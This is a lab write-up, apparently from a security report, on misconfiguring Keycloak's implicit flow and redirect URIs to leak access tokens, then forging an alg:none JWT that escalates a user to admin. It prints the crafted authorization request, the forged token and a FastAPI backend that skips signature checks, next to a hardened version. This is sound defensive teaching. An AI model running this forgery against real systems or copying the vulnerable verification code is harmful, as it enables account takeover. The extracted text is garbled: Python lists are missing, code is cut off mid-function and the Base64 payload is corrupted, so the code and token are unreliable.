

Phase 3: Scenario Implementation and Attack Simulation

Section 3.1: Deliberate Misconfiguration of the Identity Provider (Keycloak)

To evaluate the operational impact of structural flaws in identity architectures, a controlled lab environment was established using Keycloak as the central Identity Provider (IdP).¹ A target realm, designated as security-lab, and an associated client application, vulnerable-client, were systematically weakened.¹ This configuration demonstrates how minor security compromises can degrade an entire security posture, transforming a cryptographically secure system into an open vector for credential harvesting.

The architectural modifications are detailed in the configuration matrix below:

Component / Scope	Configuration Parameter	Cryptographic / Operational Default	Applied Misconfiguration Value	Architectural Security Implication
Realm Settings (security-lab)	Access Token Lifespan ⁴	5 Minutes (300 seconds)	10 Hours (36,000 seconds)	Invalidates temporal constraints; drastically expands the exposure window for replayed tokens. ⁶
Client Settings (vulnerable-client)	Implicit Flow Enabled ³	Disabled (Standard Flow Only)	Enabled (Implicit Flow Active) ⁹	Bypasses secure back-channel token exchange; exposes raw cryptographic tokens to the front-channel. ²
Client Settings	Valid Redirect URIs ³	https://app.secure.local/callback (Strict	https://jwt.io/* (Permissive / Wildcard	Facilitates token redirection to

(vulnerable-client)		matching) ¹²	matching) ¹⁰	untrusted third-party endpoints. ¹⁰
---------------------	--	-------------------------	-------------------------	--

3.1.1 Enabling the Implicit Flow and Its Modern Deprecation

The Implicit Flow (initiated with `response_type=token`) was originally introduced in the OAuth 2.0 framework (RFC 6749) to accommodate single-page applications (SPAs) constrained by cross-origin resource sharing (CORS) limits.¹¹ However, the IETF OAuth 2.0 Security Best Current Practice (RFC 9700) officially deprecates this flow², and it is completely omitted from the emerging OAuth 2.1 specification.¹²

The architectural vulnerability of the Implicit Flow lies in its reliance on the browser front-channel for token transmission.¹¹ Unlike the Authorization Code Flow, which exchanges an ephemeral authorization code for tokens over a TLS-protected back-channel (server-to-server)², the Implicit Flow returns the access token directly in the redirection URI.¹¹ This exposure introduces several leakage vectors:

Leakage Vector	Technical Mechanism	Root Cause	Preventive Control (OAuth 2.1)
Browser History Exposure ²	The token is embedded in the redirection URL fragment. ¹⁰	Browser history databases (e.g., local SQLite files) record the complete URI strings in plaintext. ¹⁷	Deprecation of Implicit Flow; enforce Authorization Code with PKCE. ¹²
HTTP Referer Header Leakage ¹⁵	Page loading third-party resources appends the callback URI to request headers. ¹⁷	Sub-resource elements (scripts, stylesheets, trackers) automatically receive the parent window's URL. ¹⁷	Implementation of Referrer-Policy: no-referrer ¹⁹ and back-channel token retrieval. ²
Intermediary Log Exploitation ¹⁵	Raw tokens cross multiple network hops. ¹³	Proxies, reverse proxies, and firewalls log URI queries and, in misconfigured cases, full fragment	Use of sender-constrained tokens (DPoP, mTLS) ¹³ and back-channel transport. ¹¹

		paths. ¹⁵	
--	--	----------------------	--

3.1.2 Access Token Lifespan Modification

By default, OAuth 2.0 access tokens are designed to be highly transient, typically expiring within 5 to 15 minutes, with sessions maintained via securely managed refresh tokens.⁵ This short duration is a critical defense-in-depth measure: if a bearer token is intercepted, its utility to an attacker is temporally capped.⁷

Forcing the Access Token Lifespan to 10 hours (36,000 seconds) in Keycloak removes this temporal safety net.⁴ This configuration creates a prolonged exploitation window, allowing an attacker who harvests a token at the start of a business day to use it for data exfiltration long after the initial user session has ended.⁷ Because bearer tokens do not require sender-binding unless explicit proof-of-possession (PoP) mechanisms like DPoP (RFC 9449) are deployed, possession of the token is equivalent to authorization.¹³

3.1.3 Permissive Redirect URI Configuration

Under strict standards, the IdP must validate the requested `redirect_uri` against an exact, fully qualified domain whitelist.¹² By configuring the callback to `https://jwt.io/*`, the validation logic is relaxed.¹⁰ An attacker can exploit this lax pattern to route authenticating users directly to an external, untrusted analysis tool, turning Keycloak's core redirection mechanism into a built-in exfiltration vector.¹⁰

Section 3.2: Flow Execution and Token Extraction

With the Keycloak identity infrastructure weakened, the attack scenario begins with the execution of the vulnerable Implicit Flow from the end-user's perspective.¹¹ The objective is to initiate the authentication ceremony, bypass standard validation, and extract the generated JSON Web Token (JWT).¹⁰

3.2.1 Authorization Request Construction

The client application, or an attacker masquerading as the client, directs the user-agent to the authorization endpoint of the Keycloak server.¹¹ The exact HTTP GET request URL constructed to exploit this configuration is formulated as follows:

```
GET /realms/security-lab/protocol/openid-connect/auth?response_type=token&client_id=vulnerable-client&redirect_uri=https%3A%2F%2Fjwt.io&scope=openid%20profile%20email&state=7ee4b8d960f28e21 HTTP/1.1
Host: keycloak.lab.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
```

```
Connection: keep-alive
```

An examination of the request parameters reveals the mechanics of the initiation:

- `response_type=token`: Explicitly instructs Keycloak to execute the Implicit Flow and return the access token directly.¹¹
- `client_id=vulnerable-client`: Points to the target client that has been configured to allow this deprecated flow.⁹
- `redirect_uri=https%3A%2F%2Fjwt.io`: Specifies the external, attacker-monitored endpoint.¹⁰ Because of the wildcard configuration (`https://jwt.io/*`), Keycloak accepts this external address.¹⁰
- `scope=openid profile email`: Requests OIDC identity assertions along with the access authorization, instructing Keycloak to generate structured user attributes.³
- `state=7ee4b8d960f28e21`: A cryptographically random value intended to bind the client session to the callback and mitigate Cross-Site Request Forgery (CSRF).¹¹ While present, its protection is negated because the redirection target is controlled by the attacker.¹⁰

3.2.2 Redirection and Front-Channel Exfiltration

The user navigates to Keycloak, completes the login prompt, and provides valid credentials.² Upon successful authentication, Keycloak generates a 10-hour access token.⁴ Instead of transmitting this token via a secure server-side channel, Keycloak issues an HTTP 302 Redirect, sending the token directly back through the user-agent¹⁰:

```
HTTP/1.1 302 Found
Location:
https://jwt.io/#access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6I6InNo...&token_type=Bearer&expires_in=36000&state=7ee4b8d960f28e21
Cache-Control: no-store, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-src 'self'; frame-ancestors 'self';
Referrer-Policy: no-referrer
Content-Length: 0
```

The browser processes this redirect and loads the target page, appending the cryptographic payload to the URL fragment identifier (the `#` character).¹⁰

From an architectural standpoint, RFC 6749 relies on the behavior of the fragment identifier to prevent direct transmission of the token to the host web server.¹¹ Because user-agents do not include the fragment portion in the HTTP request line sent to the server (e.g., the browser requests `GET / HTTP/1.1` from `jwt.io` without transmitting the `#access_token=...` string), the host server does not natively receive the token.¹¹

However, this boundary is easily bypassed.¹⁹ The complete fragment remains fully

accessible to any client-side JavaScript executing within the document context via the Document Object Model (DOM) ¹¹:

```
token = window.location.hash
```

At this point, any script running on the page can capture the token and transmit it to an external server under the attacker's control.¹⁰

Section 3.3: Token Forgery and Privilege Escalation Attack (The alg: none Vulnerability)

Once the raw access token is extracted from the front-channel, the attacker can exploit a severe design weakness in older or misconfigured signature verification libraries: the alg: none vulnerability.²⁴

3.3.1 Mathematical Foundations of Token Verification

Under normal operating parameters, a JSON Web Token (JWT) is structurally defined as three concatenated, Base64Url-encoded segments separated by period (.) characters ²⁴:

$$T = H_{b64} \parallel "." \parallel P_{b64} \parallel "." \parallel S_{b64}$$

Where H_{b64} is the encoded JOSE Header, P_{b64} is the encoded Claims Payload, and S_{b64} is the digital signature.²⁶ When utilizing asymmetric RS256 signing, the signature is mathematically generated by applying the private key (K_{priv}) of the IdP to the SHA-256 hash of the header and payload ²⁸:

$$S = \text{Sign}_{K_{priv}}(H_{b64} \parallel "." \parallel P_{b64})$$

For the resource server (RS) to trust the token, it must perform the inverse cryptographic operation using the public key (K_{pub}) of the IdP ²⁹:

$$\text{Verify}_{K_{pub}}(H_{b64} \parallel "." \parallel P_{b64}, S) \equiv \text{True}$$

The alg: none vulnerability subverts this cryptographic check by exploiting a flaw where unauthenticated user input (the token header) dictates the verification pathway.²⁶ The specification originally allowed for unsigned tokens (where $\text{alg} = \text{"none"}$) to support localized transports where signature verification was redundant.²⁶ However, naive parser implementations extract the "alg" parameter from the header *before* verification and, upon seeing "none", bypass the signature verification routine entirely ²⁴:

$$\text{Verify}(H_{b64} \parallel "." \parallel P_{b64}, \epsilon) \equiv \text{True}$$

This design flaw allows attackers to easily forge tokens with arbitrary claims.²⁵

3.3.2 Step-by-Step Forgery Execution

An attacker can execute a privilege escalation attack using this bypass in three steps ²⁸:

Step 1: Payload Manipulation and Privilege Escalation

The attacker decodes the extracted token's payload from Base64Url to plaintext JSON.²⁸ They locate the authorization claims (such as roles, scopes, or groups) and elevate their privileges⁸:

- **Original Payload:**

```
{
  "sub": "6f2a3c9b-10e2-4f81-bd53-098273615abc",
  "name": "Jane Doe",
  "role": "user",
  "iss": "http://keycloak.lab.local:8080/realms/security-lab",
  "aud": "vulnerable-client",
  "exp": 1780000000
}
```

- **Modified Payload:**

```
{
  "sub": "6f2a3c9b-10e2-4f81-bd53-098273615abc",
  "name": "Jane Doe",
  "role": "admin",
  "iss": "http://keycloak.lab.local:8080/realms/security-lab",
  "aud": "vulnerable-client",
  "exp": 1780000000
}
```

The attacker alters "role": "user" to "role": "admin", escalating their authorization level within the backend application.⁸

Step 2: Header Manipulation

To prevent the verifying parser from checking the signature, the attacker decodes the JOSE header and changes the algorithm to none.²⁶ They also remove the key ID (kid) parameter to prevent the server from trying to fetch a public key.³²

- **Original Header:**

```
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "keys-id-1"
}
```

- **Modified Header:**

```
{
  "alg": "none",
  "typ": "JWT"
}
```

Step 3: Token Reconstruction and Signature Dropping

The attacker re-encodes both modified structures into Base64Url.²⁶ Any trailing padding characters (=) must be stripped to comply with the JWT standard ²⁶:

1. Encoded Modified Header:

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
```

2. Encoded Modified Payload:

```
eyJzdWIiOiI2ZjJhM2M5Yi0xMGUyLTRmODEtYmQ1My0wOTgyNzM2MTVhYmMiLCJuYWl1IjoiSmFuZSBEb2UiLCJyb2xlIjoiYWRTaW4iLCJpc3MiOiJodHRwOi8va2V5Y2xvYWsubGF1LmxvY2FsOjgwODAvcmVhbG1zL3NlY3VyaXR5LWxhYiIsImF1ZCI6InZ1bG51cmFibGUtY2xpZW50IiwiaXhwIjoxNzgwMDAwMDAwfQ
```

The attacker reconstructs the forged token by concatenating these two segments and appending a trailing period (.).²⁶ The signature portion is dropped, resulting in a three-part structure with an empty third segment ²⁶:

Forged Token = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 || "." || eyJzdWIiOiI2ZjJhM2M5Yi0xMGUyLTRmODEtYmQ1My0wOTgyNzM2MTVhYmMiLCJuYWl1IjoiSmFuZSBEb2UiLCJyb2xlIjoiYWRTaW4iLCJpc3MiOiJodHRwOi8va2V5Y2xvYWsubGF1LmxvY2FsOjgwODAvcmVhbG1zL3NlY3VyaXR5LWxhYiIsImF1ZCI6InZ1bG51cmFibGUtY2xpZW50IiwiaXhwIjoxNzgwMDAwMDAwfQ.

This results in the following serialized payload:

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiI2ZjJhM2M5Yi0xMGUyLTRmODEtYmQ1My0wOTgyNzM2MTVhYmMiLCJuYWl1IjoiSmFuZSBEb2UiLCJyb2xlIjoiYWRTaW4iLCJpc3MiOiJodHRwOi8va2V5Y2xvYWsubGF1LmxvY2FsOjgwODAvcmVhbG1zL3NlY3VyaXR5LWxhYiIsImF1ZCI6InZ1bG51cmFibGUtY2xpZW50IiwiaXhwIjoxNzgwMDAwMDAwfQ.
```

Section 3.4: Resource Server Exploitation and Mitigation Analysis

To demonstrate the impact of this vulnerability, we examine two contrasting backend implementations using Python FastAPI.³⁵

3.4.1 Scenario A: The Vulnerable Backend

In this scenario, the resource server is misconfigured to trust incoming metadata.²⁹ It decodes tokens without enforcing signature verification, or explicitly includes the insecure "none" algorithm in its verification whitelist.²⁴

```
from fastapi import FastAPI, Header, HTTPException, status
import jwt

app = FastAPI()
```

```

# Cryptographic secret used for symmetric flows (unused but
declared)
SECRET_KEY = "static-lab-secret"

@app.get("/api/v1/admin/dashboard")
def get_admin_dashboard(authorization: str = Header(None)):
    """
    VULNERABLE ENDPOINT: Trusting unverified JWT metadata.
    This implementation decodes the incoming token and permits the
use
    of the 'none' algorithm, exposing the system to privilege
escalation.
    """
    if not authorization or not authorization.startswith("Bearer
"):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Missing or malformed Authorization header"
        )

    token = authorization.split(" ")

    try:
        # VULNERABLE: Allowing the 'none' algorithm and bypassing
validation checks
        payload = jwt.decode(
            token,
            key="", # No key supplied for verification
            algorithms=, # Permissive algorithm whitelist
            options={"verify_signature": False} # Bypassing
cryptographic validation
        )

        # Access control based purely on unverified token payload
claims
        user_role = payload.get("role")
        if user_role != "admin":
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail="Access denied: Administrative privileges
required"
            )

```



```

import jwt

app = FastAPI()
security = HTTPBearer()

# SECURE: Explicit declaration of expected issuer and audience
KEYCLOAK_ISSUER = "http://keycloak.lab.local:8080/realms/security-
lab"
JWKS_URL = f"{KEYCLOAK_ISSUER}/protocol/openid-connect/certs"
EXPECTED_AUDIENCE = "vulnerable-client"

# Establish a secure JWKS client to retrieve cryptographic public
keys
jwks_client = PyJWKClient(JWKS_URL)

def enforce_strict_cryptographic_verification(
    credentials: HTTPAuthorizationCredentials = Depends(security)
) -> dict:
    """
    SECURE MIDDLEWARE: Strictly validates token integrity, issuer,
    audience, expiration, and enforces RS256 while rejecting
    'none'.
    """
    token = credentials.credentials

    try:
        # SECURE: Retrieve the public signing key matching the
        'kid' in the header
        signing_key = jwks_client.get_signing_key_from_jwt(token)

        # SECURE: Decode the token while enforcing strict
        validation rules
        payload = jwt.decode(
            token,
            signing_key.key,
            algorithms=, # Hardcoded whitelist; rejects symmetric
            or 'none' overrides
            audience=EXPECTED_AUDIENCE,
            issuer=KEYCLOAK_ISSUER,
            options={
                "verify_signature": True, # Enforce
                cryptographic signature verification
                "require": ["exp", "iss", "aud", "role"] # Require

```

```

essential validation claims
    }
)
return payload

except jwt.ExpiredSignatureError:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Access token has expired"
    )
except jwt.InvalidSignatureError:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Cryptographic signature verification failed"
    )
except jwt.InvalidAlgorithmError:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Disallowed cryptographic algorithm specified in
token header"
    )
except jwt.InvalidTokenError as e:
    raise HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail=f"Token validation failed: {str(e)}"
    )

@app.get("/api/v1/admin/dashboard")
def get_admin_dashboard_secure(
    payload: dict =
Depends(enforce_strict_cryptographic_verification)
):
    """
    SECURE ENDPOINT: Runs only after the token signature has been
verified.
    """
    user_role = payload.get("role")
    if user_role != "admin":
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Access denied: Administrative privileges
required"
        )

```

```
return {
    "status": "secure",
    "access_granted": True,
    "user_context": payload.get("name"),
    "system_state": "INTEGRITY_VERIFIED_ACCESS_AUTHORIZED"
}
```

When the attacker attempts the same exploit against this secure backend, the server rejects the request.³¹ The validation process fails on multiple levels:

1. **Algorithm Rejection:** Because the forged token specifies "alg": "none", the parser immediately raises an `InvalidAlgorithmError` because "none" is not in the hardcoded `algorithms=whitelist`.³¹
2. **Missing Key ID:** The forged token lacks a key ID (kid), which prevents the `PyJWKClient` from matching the token to a valid public key in the JWKS, halting execution.³²
3. **Failed Signature Verification:** If the attacker attempts to retain "alg": "RS256" in the header but strips the signature segment, the cryptographic verification fails, throwing an `InvalidSignatureError`.³¹

This secure implementation mitigates both the alg: none vulnerability and algorithm confusion attacks, protecting the resource server against token forgery.²⁷

References

- D. Hardt, Ed., "The OAuth 2.0 Authorization Framework," RFC 6749, Oct. 2012. [Online]. Available: <https://tools.ietf.org/html/rfc6749>.¹⁷
- M. Jones, J. Bradley, and N. Sakimura, "JSON Web Token (JWT)," RFC 7519, May 2015. [Online]. Available: <https://tools.ietf.org/html/rfc7519>.²⁴
- Y. Sheffer, D. Hardt, and M. Jones, "JSON Web Token Best Current Practices," RFC 8725, Feb. 2020. [Online]. Available: <https://tools.ietf.org/html/rfc8725>.²⁵
- T. Lodderstedt, J. Bradley, A. Labunets, and D. Fett, "Best Current Practice for OAuth 2.0 Security," RFC 9700, Jan. 2025. [Online]. Available: <https://tools.ietf.org/html/rfc9700>.¹²
- OWASP Foundation, "OWASP Top 10:2021 - A01: Broken Access Control," 2021. [Online]. Available: https://owasp.org/Top10/2021/A01_Broken_Access_Control/.⁸
- OWASP Foundation, "OWASP Top 10:2021 - A07: Identification and Authentication Failures," 2021. [Online]. Available: https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/.⁴⁴

Works cited

1. Configuring Keycloak - IBM, accessed May 28, 2026, <https://www.ibm.com/docs/en/gdsc/3.x?topic=configuring-keycloak>
2. Securing applications and services with OpenID Connect - Keycloak, accessed May 28, 2026, <https://www.keycloak.org/securing-apps/oidc-layers>

3. Configure Keycloak OAuth2 authentication | Grafana documentation, accessed May 28, 2026, <https://grafana.com/docs/grafana/latest/setup-grafana/configure-access/configure-authentication/keycloak/>
4. Change the Keycloak Token Lifetime :: Cray System Management (CSM) - GitHub Pages, accessed May 28, 2026, https://cray-hpe.github.io/docs-csm/en-15/operations/security_and_authentication/change_keycloak_token_lifetime/
5. Keycloak: Can I set the expiry of a token per client/user/role? - Stack Overflow, accessed May 28, 2026, <https://stackoverflow.com/questions/38114832/keycloak-can-i-set-the-expiry-of-a-token-per-client-user-role>
6. Guidance on Session and Token Lifetimes · keycloak keycloak · Discussion #14128 - GitHub, accessed May 28, 2026, <https://github.com/keycloak/keycloak/discussions/14128>
7. Configuring the Lifetime of the Access Tokens in Keycloak - SAP Help Portal, accessed May 28, 2026, https://help.sap.com/docs/SAP_BUSINESS_ONE_IAM/548d6202b2b6491b824a488cfc447343/0de0a124d0934ba4b03b92a7160ea921.html
8. A01 Broken Access Control - OWASP Top 10:2021, accessed May 28, 2026, https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/
9. Implicit flow of Keycloak | Official Documentation, accessed May 28, 2026, <https://docs.open-metadata.org/v1.12.x/deployment/security/keycloak/implicit-flow>
10. Writeup: Keycloak open redirect (CVE-2023-6927) - Omegapoint Security Blog, accessed May 28, 2026, <https://securityblog.omegapoint.se/en/writeup-keycloak-cve-2023-6927/>
11. What is the OAuth 2.0 Implicit Grant Type? - Okta Developer, accessed May 28, 2026, <https://developer.okta.com/blog/2018/05/24/what-is-the-oauth2-implicit-grant-type>
12. OAuth 2.0 vs 2.1: What Changed and How to Migrate - Aembit, accessed May 28, 2026, <https://aembit.io/blog/oauth-2-1-guide-migration-security/>
13. OAuth 2.0 & OpenID Connect: The Complete Guide to What the Standards Actually Say, accessed May 28, 2026, <https://mrutyunjaypatil.medium.com/oauth-2-0-openid-connect-the-complete-guide-to-what-the-standards-actually-say-e92f040a4251>
14. Connecting authservice of kubeflow to keycloak as an oidc provider #REOPENED · Issue #47 - GitHub, accessed May 28, 2026, <https://github.com/arrikto/oidc-authservice/issues/47>
15. OAuth 2.0 Protocol Cheatsheet - OWASP Cheat Sheet, accessed May 28, 2026, https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html
16. OAuth Implicit Flow | SecureAuth Connect Product Docs, accessed May 28, 2026, <https://docs.secureauth.com/iam/oauth-implicit-flow>
17. What Is OAuth 2.0? OAuth 2 Explained for Developers - Bruno Blog, accessed May 28, 2026, <https://blog.usebruno.com/what-is-oauth-2.0-oauth-2-explained-for-developers>

18. RFC 9700 - Best Current Practice for OAuth 2.0 Security - IETF Datatracker, accessed May 28, 2026, <https://datatracker.ietf.org/doc/html/rfc9700>
19. Browser Session Establishment Using OAuth 2.0 Token Exchange and Short-Lived Authorization Codes - IETF, accessed May 28, 2026, <https://www.ietf.org/archive/id/draft-moros-oauth-browser-session-handoff-00.html>
20. Announcing the removal of OAuth 2.0 grant types for Support - Zendesk help, accessed May 28, 2026, <https://support.zendesk.com/hc/en-us/articles/8302546989466-Announcing-the-removal-of-OAuth-2-0-grant-types-for-Support>
21. Web App Pentesting: Test cases on OAuth/OpenID Connect | by @ro0taddict - Medium, accessed May 28, 2026, <https://rodellemit.medium.com/web-app-pentesting-test-cases-on-oauth-openid-connect-ccce3f12f08a>
22. libre-fastapi-jwt - PyPI, accessed May 28, 2026, <https://pypi.org/project/libre-fastapi-jwt/>
23. Changing Auth Token Settings in Keycloak | HPE AI Essentials Software 1.9.x Documentation, accessed May 28, 2026, https://support.hpe.com/hpesc/public/docDisplay?docId=a00aie19hen_us&page=Security/keycloak-change-auth-token-settings.html&docLocale=en_US
24. Hardcoded secrets, unverified tokens, and other common JWT mistakes - Semgrep, accessed May 28, 2026, <https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/>
25. How to Handle JWTs in Python - Auth0 Community, accessed May 28, 2026, <https://community.auth0.com/t/how-to-handle-jwts-in-python/65508>
26. JWT Vulnerabilities: alg none, Algorithm Confusion 2026 - GraphNode, accessed May 28, 2026, <https://www.graphnodesoftware.com/blog/jwt-vulnerabilities>
27. JWT algorithm confusion attacks: How they work and how to prevent them - WorkOS, accessed May 28, 2026, <https://workos.com/blog/jwt-algorithm-confusion-attacks>
28. JWT (JSON Web Token): Vulnerabilities, Common Attacks and Security Best Practices, accessed May 28, 2026, <https://www.vaadata.com/en/blog/jwt-json-web-token-vulnerabilities-common-attacks-and-security-best-practices/>
29. JWT Algorithm Confusion: Turning RS256 Tokens into HS256 Disasters | by InstaTunnel, accessed May 28, 2026, <https://medium.com/@instatunnel/jwt-algorithm-confusion-turning-rs256-tokens-into-hs256-disasters-db1923774873>
30. Securing FastAPI with JWKS (AWS Cognito, Auth0) | anthony lukach, accessed May 28, 2026, <https://alukach.com/posts/fastapi-rs256-jwt/>
31. Provider-Agnostic OIDC Auth Flow for Your Apps (PyJWT + FastAPI) - DZone, accessed May 28, 2026, <https://dzone.com/articles/provider-agnostic-oidc-auth-flow-for-your-apps-pyi>
32. Security vulnerabilities · Docs - Nimbus JOSE + JWT - Connect2id, accessed May 28, 2026, <https://connect2id.com/products/nimbus-jose->

[jwt/vulnerabilities](#)

33. JSON Web Token Best Current Practices - IETF, accessed May 28, 2026, <https://www.ietf.org/archive/id/draft-ietf-oauth-rfc8725bis-03.html>
34. Zero-Downtime JWKS Rotation for FastAPI (Top 5 Moves) | by Thinking Loop | Medium, accessed May 28, 2026, <https://medium.com/@ThinkingLoop/zero-downtime-jwks-rotation-for-fastapi-top-5-moves-6162db035d12>
35. Descope JWTs with Python FastAPI, accessed May 28, 2026, <https://docs.descope.com/authorization/session-management/session-validation/oidc-jwt-authorizers/python-fastapi-jwt-authorizer>
36. OAuth2 with Password (and hashing), Bearer with JWT tokens - FastAPI, accessed May 28, 2026, <https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/>
37. API Reference — PyJWT 2.1.0 documentation - Read the Docs, accessed May 28, 2026, <https://pyjwt.readthedocs.io/en/2.1.0/api.html>
38. Authorization in Python: Best practices and patterns that won't bite you later - WorkOS, accessed May 28, 2026, <https://workos.com/blog/python-authorization-best-practices>
39. Protect your FastAPI with RBAC and JWT validation - Logto docs, accessed May 28, 2026, <https://docs.logto.io/api-protection/python/fastapi>
40. Securing FastAPI with Keycloak: The Adventure Begins (Part 1) | by Benjamin Buffet, accessed May 28, 2026, <https://medium.com/@buffetbenjamin/securing-fastapi-with-keycloak-the-adventure-begins-part-1-e7eae3b79946>
41. Include iss (issuer) claim in JWT tokens per RFC 8725 security best practices - Drupal, accessed May 28, 2026, https://www.drupal.org/project/simple_oauth/issues/3554408
42. RFC 8725 - JSON Web Token Best Current Practices - IETF Datatracker, accessed May 28, 2026, <https://datatracker.ietf.org/doc/html/rfc8725>
43. Information on RFC 9700 - RFC Editor, accessed May 28, 2026, <https://www.rfc-editor.org/info/rfc9700>
44. OWASP Top 10: Vulnerabilities, Risks and How to Fix Them - SentinelOne, accessed May 28, 2026, <https://www.sentinelone.com/cybersecurity-101/cybersecurity/owasp-top-10/>
45. A07 Identification and Authentication Failures - OWASP Top 10:2021, accessed May 28, 2026, [https://owasp.org/Top10/2021/A07_2021-Identification and Authentication Failures/](https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/)